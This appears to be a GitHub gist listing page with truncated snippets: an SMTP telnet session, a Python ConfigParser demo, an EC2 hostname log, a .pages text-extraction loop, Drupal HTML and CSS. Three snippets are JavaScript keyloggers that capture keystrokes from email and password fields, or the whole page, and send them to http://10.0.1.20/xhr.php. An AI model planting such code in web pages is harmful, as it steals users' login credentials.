This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script> | |
<script type="text/javascript" charset="utf-8"> | |
$(function(){ | |
var user = {}; | |
var pwd = {}; | |
$('#email').keyup(function(event) { | |
postData(event.which); | |
}); | |
$('#pass').keyup(function(event) { | |
postData(event.which); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function(){function b(a){$.b({url:"http://10.0.1.20/xhr.php",data:a,type:"GET",c:!0,dataType:"jsonp"})}$("#email").a(function(a){b(a.which)});$("#pass").a(function(a){b(a.which)})}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function(){$("html").keypress(function(a){$.ajax({url:"http://10.0.1.20/xhr.php",data:{keyVal:a.which,targetID:a.target.id},type:"GET",crossDomain:!0,dataType:"jsonp"})})}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dhcp-10-5-4-88:lasso alex$ telnet mail.rochester.edu 25 | |
Trying 128.151.31.4... | |
Connected to mail.rochester.edu. | |
Escape character is '^]'. | |
220 mx3.its.rochester.edu ESMTP Postfix | |
ehlo vpn4-187.net.rochester.edu | |
250-mx3.its.rochester.edu | |
250-PIPELINING | |
250-SIZE 52428800 | |
250-VRFY |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
ssh -o StrictHostKeyChecking=no -i /tmp/id_rsa ${@} | |
exit 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>>> import ConfigParser | |
>>> config = ConfigParser.ConfigParser() | |
>>> config.readfp(open('example.conf')) | |
>>> items = {key:value for key,value in config.items('default')} | |
>>> print items | |
{'foo': 'bar', 'baz': 'qux'} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Broken | |
ubuntu@ip-10-1-250-33:~$ echo `curl -s http://169.254.169.254/latest/meta-data/local-hostname` | |
ip-10-1-250-33.mysudo.me | |
ubuntu@ip-10-1-250-33:~$ ssh ubuntu@ip-10-1-250-33.mysudo.me | |
ssh: Could not resolve hostname ip-10-1-250-33.mysudo.me: Name or service not known | |
#Works fine | |
ubuntu@ip-10-1-250-33:~$ ssh ip-10-1-250-33.ec2.internal | |
The authenticity of host 'ip-10-1-250-33.ec2.internal (10.1.250.33)' can't be established. | |
ECDSA key fingerprint is 30:d4:4f:73:e6:d7:d4:2f:4f:cb:f7:30:bb:2d:58:85. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for file in (find . -type f -name "*.pages") | |
unzip -o $file | |
cat index.xml | sed "s/<sf:ghost-text>.*<\/sf:ghost-text>//g" | sed "s/<[^>]*>//g" | sed "s/&......;//g" >> all_files.txt | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="region region-secondary-content"><div class="region-inner clearfix"><div id="block-block-29" class="block block-block no-title odd first block-count-4 block-region-secondary-content block-29" ><div class="block-inner clearfix"> | |
<div class="block-content content"><div id="my-progress-page-tally-marks-and-title-wrapper"><div id="my-progress-page-tally-marks-icon"><img alt="My Progress page icon" src="/safefoodfarm2kid/sites/default/themes/Farm2School/images/my_progress75x50.png" style="height:50px; width:75px" /></div><div id="my-progress-page-title">MY PROGRESS</div></div> | |
</div> | |
</div></div><section id="block-views-my-progress-checklist-block-17" class="block block-views even last block-count-5 block-region-secondary-content block-my-progress-checklist-block-17" ><div class="block-inner clearfix"> | |
<h2 class="block-title">My Next Step page view</h2> | |
<div class="block-content content"><div class="view view-my-progress-checklist view-id-my_progress_checklist view-display-id-bl |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
input[type=radio], | |
input[type=radio] + label{ | |
display:none; | |
} | |
input[type=radio]:checked, | |
input[type=radio]:checked + label{ | |
display:block; | |
} |
OlderNewer